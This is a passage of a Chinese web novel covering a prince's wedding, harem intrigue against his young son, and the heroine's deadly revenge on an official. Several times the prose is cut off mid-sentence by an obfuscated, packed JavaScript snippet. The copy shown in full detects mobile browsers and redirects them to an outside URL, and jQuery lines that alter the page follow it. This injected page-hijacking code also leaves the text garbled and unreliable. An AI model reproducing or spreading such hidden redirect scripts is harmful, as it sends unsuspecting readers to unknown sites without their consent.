咱们又大婚在即,若是这个节骨眼上,你把晏儿赶出家门,父皇一定会觉得是我这个嫡母无德,容不下庶子。” 说起大婚,就是萧北铭现在最大的软肋,谁来了,都能拿捏他一把,他自然就妥协了, “那等咱们大婚以后就让他搬出去。” 苏苡安不置可否,此刻,他正在气头上,她没必要跟他死磕较劲。 反正,再拖一阵,她又有新的手段了。 总归,她是一定要把晏儿留在身边教养的。 第161章 父凭子贵 太子萧景泰和宁王萧南征,都翘首以盼萧北铭为了帮乌二拒婚九公主,闹出点动静。 可是,一直等到了年后,不仅镇北王府没有任何动作,就连辅国将军府都没有动静,甚至那个常年做街溜子的乌三都龟缩了。 这一日,太子萧景泰实在坐不住了,特意去找皇后打听, “母后,父皇跟你商议过没有,什么时候给小九儿张罗婚事?” 皇后沐若微长叹一口气, “皇上若是提及了此事,我能不知会你吗?” 萧景泰眉心皱出了一个川字纹, “真是急死个人,一道赐婚圣旨而已,父皇这么久都没下。 他是不是打算等到萧北铭大婚以后再下啊。” 沐若微也满眼失望地点点头, “八成是了。 皇上一向抬举萧北铭,这次,怕也是一样。 不在他大婚之前砍断他的臂膀,是想给他一个体面。” 沐若微见儿子的脸色实在不好,又安慰道, “不过,皇上金口玉言,赐婚这事情,是板上钉钉了,乌二迟早会离开镇北军的,失去了辅国将军府的助力,萧北铭得意不了多久了。” 萧景泰怨气十足道,“真是好事多磨啊!” 沐若微也很愁, “你的人,就没有抓住乌家什么事情,可以拿来做文章吗? 听说那个乌三,是著名的女纨绔,不能从她的身上下手吗?” 萧景泰眼中满是愤恨, “她一向只干些鸡毛蒜皮的混事,做不了什么大文章。 前一阵,我找人做过几次局面,可是,都被巡防营压下来了。 镇南将军府看着像是中立,实际上,裴思远已经倒向镇北王府了! 他们好像发现是有人做局了,现在,乌三已经好久不出府门了,根本无从下手。” 沐若微吐出一口怨气, “罢了,你也别太上火,乌三总归是个嫁不出去的老姑娘,就算真的抓住了她什么把柄,乌家也顶多把她当个弃子,**就**,萧北铭也不会出手管这事,没多大意义。” 萧景泰点点头, “我也这么想的,即便抓住乌三的小辫子,也威胁不到乌家。 不过,萧北铭的儿子就要进宫读书了,那可是他和他心爱之人所生,还劳烦母后多多关照。” 沐若微嘴角牵出一个恶毒的笑, “那还用你说?只要那小东西进宫,就别想痛快!” 过完正月,就是萧晏入宫读书的日子了。 苏苡安想到了会有人搞事情,还好她有随时都可以入宫的金牌,就每日接送陪读。 宗室子孙读书的宫殿叫南书房。 萧晏算是启蒙晚的,他有一间自己的专属教室。 上午,由大学士苏怀仁教他文化,下午,由御前一品带刀侍卫阮流铮教他武术。 苏怀仁在屋内教学的时候,苏苡安就站在窗户边往里看。 本来,这是不合规矩的,奈何,她痴傻名声在外,皇上又护着她,做出点出阁的举动,宫女和太监也不会过来提醒她离开。 苏怀仁挺怵苏苡安,生怕自己说点什么题外话,她会开口骂他。 因此,除了书本上的东西,半个字题外话都不敢说。 自然更不敢动手打萧晏了,顶多是萧晏走神犯困的时候,他干咳一声,清清嗓子,含蓄地提醒。 一般这种情况,萧宴根本就不理,依旧我行我素。 他不喜欢学什么‘人之初,性本善’,一点兴趣都没有。 因为,他不觉得自己是个善人,不适合学这些东西,跟娘亲学撒谎更适合他。 萧晏哈欠连天的,满脑子只有什么时候吃午饭,吃午饭就可以和娘亲说话了…… 往往这时候,小伴读魏严,就会发挥作用,提醒萧晏要注意听讲。 魏严三岁的时候,就能把《三字经》倒背如流了,现在他还要陪着萧晏再学一遍。 不过,苏怀仁毕竟是探花郎出身,虽然做人不行,但是,做学问还是很厉害的。 讲起三字经,生动又有趣,和从前丞相府的老学究的授课方式完全不一样,小魏严听得是津津有味。 只是,到了下午学习武术的时候,小魏严就开始无精打采起来,扎一会儿马步就吃不消了,不像萧晏,扎多久马步都不喊累。 往往这时候,就轮到萧晏鼓励他了。 两个人一文一武,也算是相互鼓励,共同进步,很搭。 不管是皇后还是良妃,亦或者是贤妃,听说安康公主进宫陪读了,想请她去喝杯茶。 苏苡安一律只回一句话, “稍后就去。” 这一稍后,总是明日复明日,最后一次都没去过。 事后被问起来,苏苡安就会说是自己的傻病犯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“九姑姑托我问你句话,你大婚的时候,她想来做女傧相,不知道可不可以?” 苏苡安勾唇一笑, “告诉她,有公主做女傧相,我求之不得。” 第162章 大婚 苏苡安亲笔为萧佩玖写了一封喜帖,交给萧晏,让他带进宫去。 而后,苏苡安想了想,又提笔写了一封喜帖,让铁柱送到楚王府,亲手交给萧楚钰。 铁柱去到久违的楚王府办差,楚王府的一草一木,毫无变化。 只是,楚王的院子里多了一个秋千架,看得出来,他是为女儿打造的。 如今,陪伴女儿成长,已经成了萧楚钰最大的乐趣。 铁柱对萧楚钰说, “我家郡主让小的转告王爷。 大大方方是友情,遮遮掩掩才是有私情。 你越是躲躲藏藏,别人越是想拿捏你。 每年都有那么多次和宫宴饮,王爷总不能在楚王府装病一辈子,皇上会担心你的,别人也会笑话你的。” 萧楚钰接了喜帖,苦笑道, “她一点都不了解我的那些兄弟,笑话有什么要紧的?活着就好。 让她别管我了,她是不会了解我的苦的。 至于她大婚,我人不去,礼会去的。” 铁柱回府,如实传话。 苏苡安长叹一口气: 人怎么能怂成这样。 萧楚钰一个大男人,竟然还没有萧佩玖一个小女子勇敢。 萧佩玖还敢主动来给她做女傧相,缓和和萧北铭的关系呢。 不过,人不到,礼到,他倒也还算懂事…… 镇北王府的人提前许久就开始装点王府,准备这场大婚。 乌二带着亲兵,一遍又一遍地检查,就怕王爷一生一次的大婚出什么差头。 还有三日大婚,宫里派来的人伦师父入住了镇北王府。 萧北铭这才十分不情愿地离开郡主府,回王府走过场。 人伦师父尽职尽责,认真地照着画册子教。 萧北铭眼睛也不去看画册子上那些奇怪的姿势,只是耳朵听着,就觉得脸颊发热, “本王已经会了,先生不必再教。” 萧北铭自认为这话说得客气,却因为经年累月做镇北军主帅,发号施令惯了,此刻,清浅的语气也显得命令意味十足。 人伦师父久闻战神的赫赫威名,知道他是个脾气暴躁的,自然不敢再多言,恭敬退下。 但是,皇命在身,他也不能离开镇北王府,就住下了。 萧北铭也不好撵人,只是,也不好在人伦师父的眼皮子底下不守大婚前三日不得相见的规矩。 可是,确实又思念泛滥,难以自已,于是乎,他就提笔写信,一诉相思苦。 苏苡安看着萧北铭的来信,有些发懵: 没记错的话,他才走一个时辰吧? 看他这信,好像他已经离开半辈子了…… 真是502成精也没他这么黏啊! 苏苡安的回信没到,萧北铭就抓心挠肝的。 送出去的信一封接一封,现下天都黑了,还一封回信都没有。 萧北铭真真是有点恼了,就派乌二去送信,一脸冷凝地说, “她再不回信,你就不用回来了!” 乌二只觉得不理解,郡主一向会办事,这大喜的日子在即,她给王爷找什么不痛快啊…… 乌二到了安康郡主府,才知道,郡主在书房画画,都画了一整天了,中午饭和晚饭都没有吃呢。 乌二去到书房,再一看郡主的画作,画得竟然是她和王爷。 虽然画里的他们穿着很怪异,但是,脸真是栩栩如生,画工了得! “哎呀!郡主真是好画工啊!王爷看见了,一定会特别开心的。” 乌二说着话,上去就要卷走。 被苏苡安打了手,“还没干呢!” 乌二讪笑道, “等不及画干了,实不相瞒,王爷的脸都黑一天了,我端走就成,肯定不会弄坏,弄坏赔命。” 苏苡安笑道,“要你的命有何用啊?跟他说,挂在床头。” “得令!” 苏苡安用一个白天的时间,手绘了一张婚纱照。 当然,她没敢给自己画抹胸婚纱裙,布料一直遮到了脖颈,要不然,这么正经的画落在古人的眼里,就和**没区别了。 萧北铭看到画,一脸的阴霾骤散,惊喜不已, “天呐,她没骗我,她真的好擅长画画。 都没看着我画,都能画出来啊,南离最好的画师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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难怪都说乌家的好脾气都长乌二一个人身上了呢…… 乌夫人这也太暴躁了吧…… 小九儿将来有一个这样的婆母,不得遭老罪了…… 乌三觉得特别委屈, “娘啊,我长这么大就没碰过胭脂水粉,你觉得我会上妆吗? 宫门现在已经开了,估计,九公主马上就来了……” “我来啦!” 萧佩玖的人还没到,声音先到了,而后,气喘吁吁地跑进门, “安康姐姐,我来了,今日,我一定把你装扮成上京城最漂亮的新娘。” 乌三剜了一眼这个毁灭自己兄长前途的可恶女人,带着极大的怨气,反唇相讥, “郡主化不化妆,都是上京城最美的新娘子,你邀什么功?” “哐!” 乌夫人旋即又朝着乌三踹过去一脚,从牙缝里恨恨地挤出一句话, “你个混账!闭嘴!不得对我未来的儿媳妇,你未来的二嫂嫂无礼!” 苏苡安长睫毛颤动了一下: 结论好像下早了…… 乌夫人做娘亲粗暴了些,做婆母,好像还可以…… 乌三从小就一天被她娘亲打三回,她大姐姐出嫁前,更是一天要揍她无数回,她早就被打皮实了。 因此,大庭广众之下,被踹了两脚,根本无所谓。 反而是萧佩玖,听了乌夫人这句话,瞬间就羞红了脸,手脚都无处安放了。 给苏苡安化妆的时候,都不敢抬头看后面给她梳头发的那两位,一直红霞满脸。 好在,乌夫人非常健谈,她也没啥顾忌,还把萧佩玖安排上了, “一会儿堵门啊,公主站在最后面就好,免得受伤。 我们娘三都会武功,站前面,那镇北军的老爷们硬闯的话,我们抵得住。” “嗯。”萧佩玖娇羞地应了一声。 本来今日,她来这里,已经做好被乌家女眷欺负的准备了,可是,没想到,乌夫人竟然这么好说话,还认可了她。 真是又惊又喜。 乌三帮不上忙,就在旁边耍起了军棍,美其名曰: 热身。 还自顾自地说,“一会儿,我哥肯定是接亲的主力,你们谁都别跟我抢,把他留给我,看我不把他揍成猪头。” 乌大终于开口了,“不行,这事情必须带上我,到时候,我攻他上路,你攻他下路,咱们合伙,差不多能把他打成猪头了。” 乌三也很好说话, “行,就带你一个!娘亲,你就别跟我们抢了,你辈分大,你负责拦镇北王,我俩都不敢拦他。” 乌夫人爽快道, “行,我负责拦镇北王! 得让他知道知道,娶媳妇,不是那么容易的事情,太轻易就娶回去了,他该不珍惜了。” 看着她们娘仨又出奇地和谐起来,苏苡安只微笑不说话,默默地期待上了。 礼部官员宣布吉时到的时候,乌夫人手持军棍,领着她两个手持军棍的闺女往郡主府门口一站,就跟三个门神似的。 后面,站着一众丫鬟小厮,人人手里都有武器,笤帚,扁担,鸡毛掸子,烧火棍之类的。 当然,还有拿着一截树枝的萧佩玖,以及,拿着小木剑的萧晏和拿着竹盾的耿豆。 乌夫人见到镇北王领着接亲的队伍从对门走出来,刚一露头,她就气势十足地吼上了, “镇北王!你今日想接亲!必须过了我们这一关!” 萧北铭一招手,乌二领着一群侍卫,赤手空拳,就笑着冲了上去,中气十足地吼道, “娘!战场无母子!我们各为其主!您小心了嗷!” 萧北铭自然不会加入这场混战,他到了门口,趁乱,就一跃跳上了围墙,翻墙而入。 乌夫人可气坏了,一拍大腿,喊道, “哎呀!哎呀!哎呀!镇北王怎么耍赖皮啊!怎么能抢亲呢!” 乌夫人正欲跳墙追,一把就被乌二薅了回来,面带笑容而又语气坚毅, “娘!你的对手是我!” 萧北铭翻墙而入,里面等待他的,是高升领着的一众侍卫,一个个都带着真刀**。 但是,见到镇北王,没有一个人按照乌夫人刚刚吩咐的战术行动,自觉让开了一条路。 萧北铭轻车熟路地来到了主院, “苏苡安!我来娶你了!” 苏苡安也没遵循新娘子脚不能落地的规矩,听见声音,就跑来门口迎他。 彼时,她蒙着盖头,只能顺着盖头下面的一道缝隙,看到了萧北铭的半截喜袍, “啊?你这么快就进来了?” 萧北铭冲过去就把她打横抱了起来,手中有了重量,悬了三个日夜的心,才终于在这一刻得到了安宁, “我一刻都等不了,走,咱们游街去!” “啊?游街?有这一步吗?” “有啊,我添的!我要让全上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当眼泪从他眼里滑落的那一刻,苏苡安看得呆愣住了,长睫一颤,瞳孔都放大了一圈: 这不就是神仙落泪吗? 什么一笑倾城再笑倾国,都不及这一滴眼泪戳她癖好。 他都好看成这样了,我再忍,我就不是人! 上! 第164章 从来没见过这样猴急的新郎官 乌三大口搂席,等许久也不见镇北王出来。 她参加过许多场婚宴,还是头一次见新郎不出来陪客的。 是镇北王大婚的流程特殊,还是,镇北王着急洞房? 不能吧?天还没黑呢?至于这么着急吗? 乌三好奇心作祟,便离席,准备悄悄地去侦查一下。 自然,她是没胆子像参加别人的婚礼那样,臭不要脸地去新房屋顶揭瓦偷看,而是去了厨房。 她虽然没吃过猪肉,但是,看见过好多回猪跑了。 只要看看有没有丫鬟在烧热水,就一切了然了。 当然,乌三这个“悄悄”是她自以为的。 今日的镇北王府,处于一级戒备中,到处都是明岗暗哨。 乌三刚刚走到厨房小院的附近,就被突然蹿出来的乌二堵住了去路。 乌三吓得倒抽一口凉气,左右瞧了瞧,目之所及并无旁人,又才缓缓松了一口气。 她实在想不通,她哥把他这么大的体格子藏在哪里了,怎么说冒出来就冒出来了。 同时,也抱怨开了, “你鬼呀!走路都没个声音,想吓死个谁?” 乌二板着脸发问,“你来这里做什么?” 乌三自然是不肯说实话, “我吃多了,想上茅房,你给我指个路。” 乌二抬手,给她指了一个方向,轻描淡写道, “往前走二百步,左转,再走三百步,有一个小院子。 你进去,领二十军棍。” 乌三简直不敢相信自己的耳朵,瞪大了眼睛张大了嘴, “哥哥,你在说什么?” 乌二一改平日里的和善,一脸铁面无私,冰冷的语气没有一丝温度, “乌十夫长,你私闯王府后院,企图窥探王爷私隐,还跟我撒谎,按军规,杖责二十,你有什么异议?” 乌三被噎得说不出话,她不敢狡辩。 因为,她陡然想起来了,军规里还有一条: 顶撞上级,杖责十军棍。 哥哥的军职比她高出好多好多级,她再顶撞,那么多军棍加起来,能把她打成肉泥! 思及此,乌三垂眸,恭顺抱拳, “末将知错,末将领罚,末将再也不敢了。” 乌三这一遭,也算是长这么大,遭受到的第一次毒打。 原来,军棍打屁股上,那么疼啊。 可不是在家里,娘亲和长姐那种挠痒痒的打法了。 这也就是乌三,是个练家子,要是换别的姑娘,不到一半军棍就能断气了。 不过,乌三是个要强的,尽管挨了军棍,屁股疼得不行,依旧装得跟没事儿人似的,继续上前院吃喝去了。 这么丢脸的事情,她是一定要隐瞒的! 不过,她也得出了结论: 镇北王可真够急的! 他儿子都那么大了,他又不是个毛头小子了,还这么急。 啧啧~ 从来没见过这样猴急的新郎官。 翌日清晨。 苏苡安还在睡梦中,迷迷糊糊之中就感觉到一股股热气贴到了自己的脸上。 她知道这是萧北铭的晨吻,在叫她起床呢。 她眼睛都没睁,只是慵懒地翻了个身,身子沉得很,感觉像是被车轱辘碾压了几百个来回似的,哑着嗓子说, “再让我睡会儿。” 萧北铭低磁又温润的声音涌入了她的耳廓, “还要进宫奉茶,时间来不及了,回来再睡吧?” 苏苡安不回话。 萧北铭有些后悔自己昨夜太放肆了,现在,只能把她抱起来,给她穿好衣裳,再抱到梳妆台前,给她梳头发。 新妇拜见帝后,发型必须要庄重,可马虎不得。 苏苡安靠在他的身上,迟迟不肯睁眼,真的太疲惫了。 现在,她已经对小说里的公狗腰,有了一个具象的认知。 他们出门的时候,萧晏已经在院子里等着了。 苏苡安每日都亲自接送他上下学,今日,三个人顺路。 苏苡安照例抱着萧晏上马车,只是,今日腰不给力,疼得“嘶”了一声。 萧晏一着急,心里对她惯用的称呼就脱口而出, “娘亲!你怎么了?!” 苏苡安捻起了兰花指,弹了他一个脑瓜崩,勾起了唇角,嗔怪道, “不许叫这两个字。” 萧晏站在马车前的踏板上,满眼关切地看着她, “美女大人,你是不是抱不动我了啊?我昨天吃太多了,怕是长了许多肉,以后不敢那么吃了。” 苏苡安笑道,“没有的事,你要多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如今,更是一进门就做后娘,母妃心疼你啊……” 第165章 我很喜欢你 萧北铭真的有被伤害到,脸色一沉, “母妃真真心疼我们,就不该在我们大婚第二日说这些糟心事!” 温良妤一脸尬笑, “这里又没有外人,我也没旁的意思。 就是想提醒你们,这桩婚事来之不易,以后,一定要好好过日子。” 时至今日,温良妤的心中,对苏苡安的成见,又加重了一成。 她早就听说,他们大婚前,萧北铭就住进了安康郡主府。 这显然都是苏苡安这个臭不要脸的狐狸精勾引的,儿子好好一个老爷们,都被她引诱得不成体统了。 昨日大婚,儿子更是没有给宾客敬酒,就入洞房了。 这对于镇北王来说,是一个多好的拉拢人心的机会啊,竟然都被这个不识大体,只贪图淫乐的女人破坏掉了。 这太让她生气了,这样的女人,真心留不得了,只是,送走之前,也不能让她落得轻松! 彼时,虽然温良妤心里的怨气都冲上天了,但是表面还是体面地端着一脸慈母笑,语重心长道, “安康啊,北铭脾气不好,你呀,万事要包容他,还有他的儿子。 晏儿他娘亲死得早,是个可怜的娃娃,你要对他视如己出。” 萧北铭气得黑脸: 真是哪壶不开提哪壶!就是不想让我们痛快! 苏苡安自然不肯接受她的安排,笑盈盈,语气温柔却又蕴含着力量, “母妃说什么包容不包容的,犯了错才需要包容。 有儿子只是王爷的过去,又不是过错,谈何包容? 用不着我包容他。” 温良妤也是没想到,她竟然说这么漂亮的话来顶撞自己,难怪把自己儿子哄得神魂颠倒的,果然不是个什么好过西! 她又一脸关切地问, “安康啊,你现在脑子不糊涂了吧?” 苏苡安侧目看向萧北铭,莞尔一笑,媚眼如丝,透着无限柔情, “难得糊涂嘛,只要王爷不嫌弃就好。” 她竟然当着我的面,勾引我儿子,还有羞臊吗? 温良妤可看不了这画面,气得心中怒气翻腾。 不过,她现在必须得端着帝王嫔妃的仪态,不能口出恶言,只能抿唇浅笑点头。 压抑着眸中的怨毒,垂眸看着苏苡安袖口上露出来的她给她的那只手镯,心中暗自安慰自己: 纵使你伶牙俐齿,也伶俐不了多久了。一只脚都踏进鬼门关,你是出不来了! 狐狸精,带坏我精心培养多年的好儿子,罪无可恕! 温良妤一直谆谆教诲着,迟迟不接茶。 萧北铭跪在地上,感觉手中的茶盏,温度在慢慢流失。 再看苏苡安原本跪得笔直的腰,渐渐软塌了下去。 萧北铭看在眼里,疼在心里,再也忍不住了,蓦地把自己手里的茶杯往地上重重一放,发出了一声响! 随后,也拿过苏苡安手中的茶杯,同样放到了地上。 “我们走!” 而后,把人拉起来,头也不回地就往外走去。 苏苡安没有任何表态,跟着萧北铭出了良妃宫,就拉着他去南书房看望萧晏。 有战神露面,那些妄图欺负萧晏的小娃娃,也好有个忌惮。 萧北铭明白她的意思,即便心里不愿意给小东西撑腰,可是,她刚刚受了委屈,他现在必须要顺了她的意。 两个人站在窗户边往教室里瞧着,只见萧晏正双手托腮,一副百无聊赖的神情,在听苏怀仁讲学。 萧晏余光感知窗外来人了,立即扭过头去,冲他的漂亮娘亲露出一个甜笑,刚刚还无神的双眸,立即变得神采奕奕。 苏怀仁也顺着萧晏的目光往窗外看去,见是女儿和女婿来捣乱他教学,露出一脸怂态,一个字都不敢斥责。 可不像隔壁那些有骨气的文人,遇见这种情况,早就吹胡子瞪眼,敲起戒尺撵人了。 魏严见状,立即双手摁着萧晏的小脸蛋,把他的头掰正过来。 还用犀利又坚毅小眼神,严肃警示窗外这两大人别影响他们上课。 孩子虽小,但是,不畏强权的文人风骨尽显。 苏苡安被魏严这小眼神逗得噗嗤一笑,刚刚在良妃那里受的窝囊气一瞬间就烟消云散了。 晏儿身边的朋友是个好样的,对他的成长太有利了,她很欣慰。 “这小魏严,眼神不错,还挺有做谏臣的潜质。 咱们走吧,要不然,该被小家伙在心里问候了。” 萧北铭简直是求之不得,谁愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第166章 你不要发骚了,我腰很疼! 苏苡安实在无法直视他的一双含情眼,把脸埋进了柔软的枕头里, “萧北铭,你不要发骚,我腰疼!” 萧北铭看着她这副称得上娇羞的模样,越发地忍不住调戏, “昨晚,是谁说‘我们大女人永不服输’来着?” 呜咽不清的声音从枕头里传出来, “是小兔子,不是我,明白吗?是小兔子说的!” “好吧,小兔子,你叫声夫君,我就闭嘴了。” “你傻吗?小兔子是不会说话的啊!” “哦?我是属兔的,我怎么不知道这世上竟然还有不会说话的小兔子,你是不是坏掉了?让我检查一下。” “啊呀!” 苏苡安现在,浑身都是痒痒肉,可容不得一点检查,马上就扭过头,要话疗他。 却不曾想,迎接她的是一张近在咫尺的精致脸颊。 萧北铭精准地堵住了她的嘴,良久之后才松开, “叫声夫君,我就放过你。” “夫君~” 苏苡安一点没犹豫就叫出口了,真真是把能屈能伸玩明白了。 萧北铭得到了极大的满足,满眼都是宠溺地看着她, “我在,以后,就这么叫我。” “嗯。” “你夫君我,现在要去批公文了,你好好睡觉。” “嗯!”苏苡安抿唇含笑,点了一下头。 萧北铭心满意足地下床离开。 苏苡安嘴角的笑容越发的放大: 从前怎么没在意,他竟然是属兔的。 谁家的战神是只兔子啊,真是笑**了。 哈哈哈~ 但是,她碍于自己现在的身体状况,没敢笑出声,怕这只腰腿很有力量的大兔子要过来收拾她。 果然,萧北铭走到门口,又回眸看她,眼中满是眷恋。 苏苡安笑眼弯成了一条缝,挥手告别, “去吧,大兔子,休养生息,晚上再战。” 萧北铭眼眸震颤了一下: 我没听错吧?她都这样了,还跟我约战呢? 真是勇气可嘉啊,是个好战分子,适合做个战士。 苏苡安这一觉,就睡到了萧晏下学的时间。 今日,她来得晚了,宫门口已经停了各府来接孩子的马车,她只能停在最外面。 萧晏从前一出宫门,总是能看见娘亲的马车排在最前面等他,今日,没有看到,难免失落。 可是,想想娘亲身体不舒服,又是他不让她来接的,心里又才好过了些。 苏苡安远远地看着萧晏垂头丧气地走过来,不像往日那样欢呼雀跃奔向她,心中咯噔一下: 这是怎么了?受欺负了吗? 直到萧晏快走到近前,看见了娘亲站在马车前面,他的脸上,又才绽放了笑容,立即拔腿往这边跑。 只是,跑起来双腿明显地一瘸一拐,速度也很慢,不是从前那样,一溜烟就能冲到她怀里的小旋风了。 萧晏冲到了近前,一个卖力的起跳,双手撑着车踏板,意图爬上马车,然而,今天他的小胳膊实在使不上劲儿,上车失败,还险些摔下来。 还好,苏苡安眼疾手快,把他接住,抱上了马车。 苏苡安看出了萧晏今日的不对劲,她一上马车,就撸起他的袖子查看。 细小的胳膊,青一块紫一块的。 苏苡安心中一凛,又扯起他的裤腿查看。 腿上也满是淤青红紫,都没有好皮肉了。 苏苡安的心,立即揪成了一团, “是谁打的你?” 萧晏嘟起了小嘴,表情有些丧, “没人打我,是我跟徐朗比武,比输了……” 他见娘亲的脸色不好,又马上强颜欢笑, “不过,他也没占多大便宜,我还咬了他一口呢,把他胳膊都咬出血了。” 苏苡安蹙眉,“徐朗,是兵部侍郎家的那个儿子吗?” 萧晏点头,“对。” 苏苡安瞬间就炸了: 晏儿要到冬天才过五岁的生日呢,那个徐朗,已经足足十岁了! 他们比什么武? 这是活脱脱的单方面虐打! 还不是因为徐朗他爹,是太子妃的表哥! 这明明是他家大人,教唆孩子以比武的名义,来施暴了! 子不教,父之过。 敢往我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422911|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心头肉上捅刀子,徐侍郎,你人没了! 苏苡安挑开了马车帘,斩钉截铁地对前面赶车的铁柱说, “调头!去兵部侍郎府!” 苏苡安的马车座椅下,放着很多小箱子,第一个就是医药箱,她先给萧晏上了药。 而后,又拿出装笔墨纸砚的小箱子,提笔写了一纸挑战书,还有一式两份的生死状。 最后,再拿出一个小箱子,从里面的许多装备里,捡出来一只指虎,戴在了右手上,攥了攥拳,感受一下久违了的感觉。 今日,她要开杀戒了。 萧晏看到了娘亲眼中从未有过的冰冷,有点害怕, “我没关系的,你不用给我报仇。父王不让咱们在外面惹事,他会生气的。” 苏苡安冷哼一声, “他还管不住老子,管他气不气,老子顺心了就成!” 此刻的她,别说萧北铭了,就连她自己都管束不了自己。 她精心呵护的小宝贝,竟然让人打了,疼得她心如剜肉,牵扯得五脏六腑都痛,从来没有过这种感觉。 绝不能让那厮看到明日的太阳,否则,以后还会有东宫的党羽效仿,给他们的主子谄媚! 对于晏儿来说,那就是后患无穷。 苏苡安来到了兵部侍郎府,二话不说,就甩出了战书和生死状。 镇北王妃驾到,本来是兵部侍郎的夫人接待的,她也知道王妃是为何而来,不过就是小孩子在宫里打架的事情。 她私心想着,反正萧晏也不是这个镇北王妃亲生的,她来了不过是走走过场,好回去跟镇北王有个交代。 她的脑子不好,自己随便敷衍几句,再送点东西赔礼道歉,这事情,就过去了。 可是,侍郎夫人怎么也没想到,镇北王妃一来,一言不发就甩出这两样东西。 无论她卑躬屈膝地说什么小话,人家都不搭理她,一副油盐不进的样子。 苏苡安不屑对付一个手无缚鸡之力的妇人,杀她就是脏了自己的手,看都不想看她一眼。 侍郎夫人实在应付不来这局面,就赶紧派下人去请自家的主君过来。 第167章 欺负镇北王府的人都该死 徐侍郎虽没有上过战场,但是,也是从小习武,长大蒙荫皇恩,直接在兵部得了个好差使。 五年的时间,他就从一个九品小官升迁成了四品兵部侍郎。 如此快的升官速度,其中自然少不了东宫的大力提携。 因此,徐侍郎也知道感恩,就想了这么一个合理的办法,报答东宫,也算是提前效忠新君了。 刚刚,他正在夸他的好大儿,今日揍那小野种揍得好,要给他记一功。 彼时,听说镇北王妃来给他下战书,还带着生死状,立即就赶了过来。 今日,来的若是镇北王,他肯定是不敢朝面的,可是,来的是镇北王妃,他有啥不敢见的? 一个清瘦的弱女子,脑子还有点问题,自己一个人高马大的结实汉子,让她打几巴掌,一根汗**都伤不到。 让她出出气,哄走就是了。 彼时,徐侍郎开心得就差笑出来了。 本来,他还有些担心镇北王会亲自打上门来算账。 可是,现下是镇北王妃找上门,那简直太好了。 毕竟,镇北王妃都打过他了,镇北王要点脸的话,就不能再来找他麻烦了。 因此,徐侍郎毫不犹豫地就收下了战书,还在一式两份的生死状上都按下了自己的手印。 看着黑纸白字,徐侍郎脸色美得很。 这都是证据。 今日事今日毕,来日,若镇北王来翻旧账,他可就要把这东西拿出去公布于众,让他成为一个出尔反尔的小人,丢脸丢个大的! 有这黑纸白字在,就算闹到御前,他也是不怕的。 徐侍郎站在院子里,拍着自己的胸脯,虽然故作义正辞严,但也掩盖不住他一脸小人得志的欣喜,好言好语地哄道, “王妃,是我教子无方,我儿比小殿下大那么多,实在不应该找他比武。 今日,我就让王妃打两拳,给小殿下讨个公道,我绝对还手。” “两拳是吧?” 苏苡安嘴角勾出一个嘲讽的笑意,眼里满是对生命的漠视, “这可是你自己说的!” 话音刚落,苏苡安已经冲上来了,迅猛地爆发出一拳,捶到了徐侍郎的胸口。 徐侍郎毫无防备,被强大的力量锤了个仰面倒地。 他瞳孔地震,明白过来原来镇北王妃会武功,自己轻敌了…… 他刚想反抗,可是,镇北王妃的另一拳已经砸下来了! 徐侍郎一口鲜血喷了出来。 苏苡安早有防备,迅速躲闪,那口血,一点都没喷到她。 苏苡安站起身来,睥睨蝼蚁的眼神,看向地上的男人,掷地有声道, “两拳就两拳,这事情,到此为止了!” 彼时,她觉得,给他留了个全尸,自己真是特别善良。 站在旁边观战的侍郎夫人,还没看出来事情的严重性。 她以为这一切,都是她夫君在做戏,安抚镇北王妃这个傻子用的。 连连点头,脸上带着压抑不住的窃喜, “嗯嗯,到此结束了,以后,谁也不能拿出来说事了。” 苏苡安拿起一份生死状,牵着萧晏,转身走人。 侍郎夫人目送二人离开,才转向自家的男人,窃喜道, “他们都走了,可以起来了。” 可是,她的男人,还是躺在地上,不甘心地睁着大眼睛,一动不动,嘴角流血,止不住。 就算夫君事先含了血囊,也不会有这么多吧? 